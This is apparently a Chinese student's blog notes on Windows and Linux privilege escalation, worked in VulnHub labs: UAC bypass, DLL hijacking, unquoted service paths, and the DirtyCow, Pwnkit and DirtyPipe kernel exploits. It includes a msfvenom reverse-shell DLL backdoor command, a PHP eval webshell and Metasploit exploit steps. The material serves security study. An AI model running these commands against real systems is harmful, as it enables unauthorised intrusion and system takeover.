第137-138天:Win系统提升篇&UAC绕过&DLL劫持&未引号路径&可控服务&全检项目

第137-138天:Win系统提升篇&UAC绕过&DLL劫持&未引号路径&可控服务&全检项目
Yatming的博客权限提升-Win系统权限提升篇&计算机用户&UAC绕过&DLL劫持&未引号路径
演示案例-Win系统提权-本地管理用户-UAC绕过
1 | msconfig |
就是安装软件的时候就会弹出这个东西。
Win10-BypassUAC自动提权-MSF&UACME
1 | 为了远程执行目标的exe或者bat可执行文件需要绕过此安全机制 |
MSF绕过UAC常用模块
1 | use use exploit/windows/local/bypassuac //针对旧版本的win7 |
UACME项目
项目地址:https://github.com/hfiref0x/UACME
1 | Akagi64.exe 41 C:\Users\win\Desktop\msf.exe |
这个时候弹回来的shell,就是就可以自动提权了。
演示案例-Win系统提权-本地普通用户/WEB权限-DLL劫持(被动等待)
Windows-DLL劫持提权应用配合MSF-FlashFXP
原理:Windows应用程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
1 | 1、应用程序加载的目录 |
过程:信息收集-进程调试-制作dll并上传-替换dll-等待管理员启动应用成功
检测应用程序调用的dll
1、ChkDllHijack
项目地址:https://github.com/anhkgg/anhkgg-tools
这种就可以劫持
这种就是不能劫持。
使用MSF生成dll后门文件并替换程序里调用的dll
1 | msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.111.131 lport=7744 -f dll -o xiaodi.dll |
等待目标管理员启动应用成功上线后门
这里还有一个问题,就是替换dll文件之后,软件就不能正常启动,所以实战里面,就要将这个dll文件下载下来,然后在保证正常功能的同时,将后门植入进去。
演示案例-Win系统提权-本地普通用户/WEB权限-未引号服务(被动等待)
Windows-不带引号服务路径配合MSF-MacroExpert
原理:服务路径配置由于目录空格问题,可上传文件配合解析恶意触发执行
过程:检测服务权限配置-制作文件并上传-服务路径指向解析-等待调用成功
检测命令:
1 | wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """ |
(我这里没有…..)
物理机有,但是怕把自己物理机搞坏:
上传反弹exe,设置好对应执行名后等待管理员重启服务上线后门
Linux提权
1 | 1、内核溢出提权 |
信息收集
1、当前主机的操作系统
1 | hostnamectl |
2、当前主机的内核版本
1 | hostnamectl |
内核漏洞筛选
1、MSF检测
1 | use post/multi/recon/local_exploit_suggester |
2、提权脚本
1 | https://github.com/liamg/traitor |
3、综合脚本
1 | https://github.com/carlospolop/PEASS-ng |
应用场景
1 | 获取到Web权限在Linux服务器上时进行的内核漏洞提权 |
常见内核漏洞
1 | dirtycow(CVE-2016-5159) |
三个靶机下载地址:
1 | https://www.vulnhub.com/entry/lampiao-1,249/ |
lampiao
由于是和kali是一个环境,所以进行一个24的网段加全端口的扫描。
打开开放的1898
的端口,发现是属于Drupal
的cms,所以直接找Nday,看看是否可以直接getshell。
1 | 直接使用msf,看看上面有没有可以直接getshell的方式 |
1 | 将检测脚本上传到目标服务器 |
我们可以根据漏洞编号进行提权,有时候这里给的利用链接,利用不了,可能不是没有这个漏洞,而是你用的这个利用exp,不适合当前环境。
可以从windows提权篇章给的两个项目进行搜索,一个是直接有CVE编号,一个是根据年份进行搜索的
1 | 两个搜索poc的项目 |
将当中的cpp文件下载下来,然后通过msf上传到目标主机上:
1 | upload /root/dcow.cpp /tmp |
1 | python -c 'import pty; pty.spawn("/bin/bash")' //利用python起一个shell终端,该脏牛漏洞需要起一个终端才行 |
演示案例-Linux系统提权-Web&内核溢出-Pwnkit(CVE-2021-4034)
同样是使用nmap进行扫描:
1 | nmap -p 1-65535 192.168.111.0/24 |
看到有登陆点,然后可以注册用户,先注册一个用户:xiaodi
注册成功之后,进行登陆
进行抓包查看:
修改之后访问, 发现提示没有权限
然后使用webshell工具链接,我这里是蚁剑,小迪用的哥斯拉,哥斯拉执行了,虽然会乱码但是至少有回显,但是蚁剑连回显都没有。
执行完之后,shell就弹到msf上了。
内核提权
1 | upload /root/linpeas.sh /tmp/1.sh |
使用msf自带的模块进行搜索:
1 | search CVE-2021-4034 |
选择好对应的CVE模块之后,在使用对应的session就可以直接提权成功了
演示案例-Linux系统提权-Web&内核溢出-DirtyPipe(CVE-2022-0847)
1 | gobuster dir -u http://192.168.111.142 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt |
进行目录扫描
写入一句话:
1 | <?php @eval($_POST['xiaodi']);?> |
或者抓包进行修改。
这里使用豌豆荚还检测不出来,需要使用另外一个检测脚本:
然后使用msf进行搜索利用:
我这里利用失败了,然后想从网上搜索对应的exp进行利用,吃个饭回来发现shell掉了,然后想要重新弹shell,发现webshell也掉了,然后想重新传马,发现nmap连目标都扫不到,明明虚拟机是开的。然后就算了。。。